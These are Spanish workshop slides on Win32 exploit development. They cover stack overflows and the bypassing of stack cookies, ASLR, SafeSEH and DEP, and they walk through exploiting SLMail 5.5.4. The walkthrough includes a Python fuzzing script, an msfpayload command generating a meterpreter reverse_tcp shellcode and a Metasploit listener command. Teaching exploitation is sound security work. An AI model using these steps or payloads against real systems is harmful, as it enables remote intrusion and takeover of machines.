Upload
ignacio-sorribas
View
602
Download
3
Embed Size (px)
DESCRIPTION
Slides utilizados en el taller de desarrollo de exploits de Navaja Negra 4ed
Citation preview
Desarrollo de Exploits en Win32
Ignacio Sorribas
@nachosorribas / http://hardsec.net
¿Quien soy yo?
• Alguien a quien le encanta aprender cosas • Alguien que adora romper más cosas • Alguien que intenta arreglar siempre “todo lo que rompe”
• Soy Ignacio Sorribas “Nacho” • Ingeniero Informá@co por la UJI (Castellón) • Cer@ficado OSCP, CISSP, CCNA y CCNA Security • Actualmente trabajo en Wise Security como Senior IT Security Analyst
Un poco de teoría • Vulnerabilidad: condición que puede llevar a la explotación de un soSware.
• Exploit: Código que aprovecha una vulnerabilidad en una aplicación para realizar operaciones controladas por el atacante (ejecución de código).
• Payload/ Shellcode: Código máquina que el exploit inyecta en al memoria del proceso vulnerable. An@guamente creaba o devolvía una Shell.
• Buffer overflow (BOF): Desbordamiento de buffer. Condición que permite introducir datos en una zona de memoria de un tamaño superior al que tamaño máximo establecido para dicha zona.
Arquitectura x86 • Anillos de privilegio del
Sistema opera@vo
• Las llamadas a sistema permiten acceder de ring3 a ring0
• 32 bit = 4Gb de RAM • Procesos mapeados de
0x00000000 a 0x7fffffff • Espacio memoria para cada
proceso y thread (stack, heap, .data, etc)
• Mapeo ficheros PE – header(R) – .text(RX) – .reloc(R) – .data(RW)
La pila • Estructura LIFO • Asignada por SO para
cada thread • Crece hacia direcciones
de memoria menores • Variables locales,
argumentos, punteros a función, etc
• PUSH apila, POP desapila • ESP marca la cima de la
pila
Registros de CPU EIP: Puntero a próxima instrucción (de solo lectura, con@ene la dirección absoluta de la próxima instrucción a ejecutar por la CPU). 8 Registros de propósito general (parte del contexto del thread):
– EAX: Acumulador (suele almacenar el resultado de los cálculos de la CPU).
– EBX: Registro Base Extendido (apoyo para acelerar cálculos ). – ECX: Contador (suele u@lizarse en bucles). – EDX: Datos (extensión de eax para cálculos más complejos). – ESP: Puntero de pila (indica la cima de la pila). – EBP: Frame Pointer (indica la base del frame de la pila). – ESI: Source Index (localización de los datos de entrada). – EDI: Des@na@on Index (Des@no donde se almacenaran los datos).
Registros CPU Registros de segmento: • CS: Code segment (base de la sección “.text”). • DS: Data segment (base de la sección “.data”). • ES: Extra segment (para operaciones con strings). • SS: Stack segment (base de la pila). • FS: Extra • GS: Extra Registro EFLAGS (32 bits divididos de la siguiente forma): • CF (Carry flag). • ZF (Zero flag). • PF (flag de paridad). • SF (flag de signo). • DF (Direc@on flag).
CPU
¿Cómo se almacenan los datos en memoria? – x86 u@liza “Liole Endian”. – El valor 0x12345678 se almacenará en memoria como “\x78\x56\x34\x12”.
¿Cuál es el obje@vo al realizar un exploit? • Controlar EIP, pero este es de solo lectura.
¿Como lo controlamos? • 2 métodos: – Sobrescribir el EIP almacenado en pila por una función. – Sobrescribir la estructura de control de excepciones (SEH).
¿qué pasa dentro de un programa?
• Inicio función à prólogo • Fin función à epílogo
• El “prólogo” guarda el estado de la CPU para devolver el flujo de ejecución al terminar. (puntero próxima instrucción).
• El “epílogo” restaura el flujo de ejecución anterior a la llamada a la función (copia en EIP el valor que almacenó el prólogo en la pila).
Ejemplo // Programa de ejemplo int foobar(int a, int b, int c) { // Código de la función. int x = a +2; int y = b + 10; return x+y+c; } int main() { return foobar(10,50,65); }
• Los argumentos se introducen en la pila en orden inverso.
• “call” guarda la dirección de retorno (saved EIP)
• Se guarda EBP
;prólogo de la función de ejemplo push ebp ; Guardamos el base pointer viejo en la pila mov ebp,esp ; Fijamos el valor del stack pointer sub esp,8 ;Espacio para variables locales
• Se fija el nuevo frame de pila
• Se reserva espacio para las variables locales
Al finalizar la función se ejecuta el epílogo (leave) ;Epílogo
mov esp,ebp ; mueve el stack pointer al ebp dentro de la función pop ebp ; restaura ebp del frame anterior
Se mueve ESP a la base de la pila En EBP se restaura el EBP anterior
Instrucción “ret” copia en EIP el dword del tope de la pila
Ovewrite saved EIP: el obje@vo es sobrescribir el valor almacenado por la instrucción “call” en pila, para que “ret” lo restaure en EIP y nos otorgue el control de la ejecución.
Tenemos el control de EIP
Contramedidas • Stack Cookies • ASLR • SafeSeh • HW DEP/NX
Stack Cookies
• Compilando con /GS • Un “dowrd” aleatorio en “.data” • Cookie = valor “.data” ^ EBP • Push de la Cookie despues de EBP
El epílogo recupera el SC, y lo comparara con el valor almacenado en “.data” “Xoreado” con EBP. Si no coinciden, se aborta el proceso. Para sobrescribir EIP es necesario sobrescribir SC. Bypass: Sobrescribir la Cookie
• Fuerza bruta si la aplicación lo permite. • U@lizar algún “leak” de memoria de la aplicación que nos
permita leer la Cookie de “.data”. • Si se puede hacer una escritura en una zona arbitraria,
sobrescribir 4 bytes en la sección “.data” (es RW) que almacena la Cookie con un valor que controlemos.
Evitar la Cookie • U@lizar SEH (Si se produce una violación de memoria y se
llama a SEH, la Cookie no se llega a comprobar ya que la función no ha acabado).
• Algún modo de redirigir el flujo antes de que la función acabe y se compruebe la Cookie (Vtable, Func@on pointer).
ASLR (Address Space Layout RandomizaGon) • En cada reinicio de la máquina, la dirección de memoria donde se
cargan los módulos cambia (solo la base 0xAABBCCDD). • Windows Vista y superiores. • Complica el uso de punteros a funciones de dichos módulos para
realizar saltos. • Se ac@va con un flag del “linker” (/DYNAMICBASE) ¿Cómo saltarnos ASLR? • Evitar ASLR
• Muchas librerías y módulos siguen compilándose sin ASLR • Escritura parcial
• Solo cambian los 2 bytes de la base • Si encontramos un puntero viable en el mismo módulo o binario
vulnerable, podemos llegar a el tan solo cambiando 2 bytes.
• Fuerza bruta • Si la aplicación lo permite • La dirección de memoria cambia después de un reinicio.
• Con un “leak” de memoria (otra vulnerabilidad que nos permita conocer la dirección donde está cargado el módulo).
Ejemplo de escritura parcial: • Supongamos que sobrescribimos EIP después de 500
bytes, así que introducimos “A”*500+”B”. Comprobamos en el “debuger” y “EIP=0x00400042” (el 42 es nuestra B).
• Ahora supongamos que ESP o EAX con@enen un puntero a la zona donde hemos me@dos las “A”. Deberemos mirar la memoria desde 0x00400000 a 0x0040ffff en busca de un puntero “jmp eax” o en caso de tener el puntero en ESP un “ret”. Si lo encontramos, entonces podemos alcanzar el shellcode con solo sobrescribir 1 o 2 bytes de EIP
• Tip: liole Endian. • Depende en gran medida de la suerte.
SAFESEH • Se ac@va compilando con el flag “/SAFESEH”. • Evita la creación de de manejadores de excepción “custom”. • Crea una tabla con manejadores válidos en el momento de la
compilación. ¿cómo evitarlo? • U@lizar punteros de módulos no protegidos con “safeseh”.
DEP (Data ExecuGon PrevenGon) • Evita la ejecución de código en la pila (stack) en el “heap” y en las
secciones “.data” de memoria. • Necesita soporte de la CPU. Si no hay soporte es SW DEP = Safeseh • Si se intenta ejecutar código en la pila se ob@ene una violación de acceso
“0xc0000005”. • Se u@lizan 4 modos:
• OptIn: Solo afecta a módulos/servicios específicos del SO • OptOut: Todos los procesos excepto los que se encuentran en una
lista de exclusión. • AllwaysOn: Todos los procesos, sin excepciones. • AllwaysOff: no DEP
• (Por defecto: XP & Vista SP0 à OptIn; Vista SP1 & Win7 à OptIn; Server 2003 & 2008 à OptOut)
¿Cómo saltarnos DEP? • Return to libc: Preparar los argumentos para llamar a
una función del SO en la pila y hacer que EIP apunte a la función en cues@ón.
• ROP (Return-‐oriented Programming).
• Crear cadena de “Gadgets” (Instrucciones ya cargadas en memoria con un “ret” a con@nuación)
• invocar alguna acción para deshabilitar DEP para el proceso.
• EIP apunta a una instrucción “ret”
• Algunas API de windows recomendadas para ROP: • VirtualAlloc (all Windows versions) • VirtualProtect (all Windows versions) • WriteProccessMemory
SLMAIL 5.5.4
Pasos: • Encontrar un buffer que permita el desbordamiento. • Encontrar la distancia desde el principio del buffer que permite
sobrescribir el valor de EIP almacenado en pila (offset). • Localizar un espacio de memoria que controlemos donde
podamos almacenar nuestro “shellcode". • Averiguar los caracteres no válidos (Bad characters). • Modificar el valor del EIP guardado en pila para saltar a la zona
donde hemos inyectado el shellcode.
Configuración de “mona” en Immunity Debugger: • !mona config -‐set workingfolder c:\logs\%p
• Encontrar la vulnerabilidad
import sys import socket buffer = 'A' * 6000 HOST = '127.0.0.1' PORT = 110 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) data = s.recv(1024) print 'Received', repr(data) s.send('USER username'+'\r\n') data = s.recv(1024) print 'Received', repr(data) s.send('PASS ' + buffer + '\r\n') s.close()
• Encontrar la distancia desde el principio del buffer que permite sobrescribir el valor de EIP almacenado en pila (offset). • !mona paoern_create 6000 • !mona findmsp
• Comprobar que las distancias son correctas.
• Encontrar espacio para nuestro shellcode • Generar meterpreter/reverse_tcp payload (var tamaño)
• msfpayload windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx R | msfencode -‐b ‘\xXX’ -‐e x86/shikata_ga_nai -‐t c
• Descartar “Bad Chars”. • !mona bytearray (bytearray.txt & bytearray.bin) • !mona compare -‐f “c:\logs\SLMAIL\bytearray.bin” -‐a
0xXXXXXX • !mona bytearray -‐cpb ‘\x00\x…’
• Encontrar puntero para salto a shellcode • !mona jmp -‐r ESP
Nota: Cuando ejecutamos un shellcode inyectado en el stack, hay que asegurarse que el registro ESP apunta a una dirección de memoria menor que la con@ene el shellcode, para evitar que las dis@ntas instrucciones “push y pop” que se ejecuten en el shellcode lo dañen al sobrescribir valores en la pila.
• Levantar un “listener” de Metasploit • msfcli exploit/mul@/handler payload=windows/meterpreter/
reverse_tcp LHOST=192.168.65.156 EXITFUNC=thread E • Comprobar que todo funciona OK.
• Breakpoint en el salto. • ¿Saltamos al Shellcode? • ¿Funciona? ¿por qué?
DEP (Data Execu@on Preven@on)
Ac@vación:
Ahora nuestro exploit no funciona:
DEP no permite que se ejecute código en la pila. • Podemos llamar a punteros a instrucciones • ROP Gadgets, instrucciones seguidas de “ret”
Windows ofrece funciones que permiten modificar el comportamiento de DEP en zonas de memoria específicas.
• VirtualAlloc • VirtualProtect • ….
Pasos para construir un exploit con DEP Bypass. • Buscar un “rop chain” que ejecute VirtualAlloc
• !mona rop • !mona rop –cpb ‘\x00\x0a\x0d’ -‐m msvcrt.dll
• Poner a con@nuación el shellcode. • Sus@tuir la instrucción “jmp esp” apuntada por EIP por una
instrucción “ret” (la sacamos de rop.txt)
P W N E D ! ! !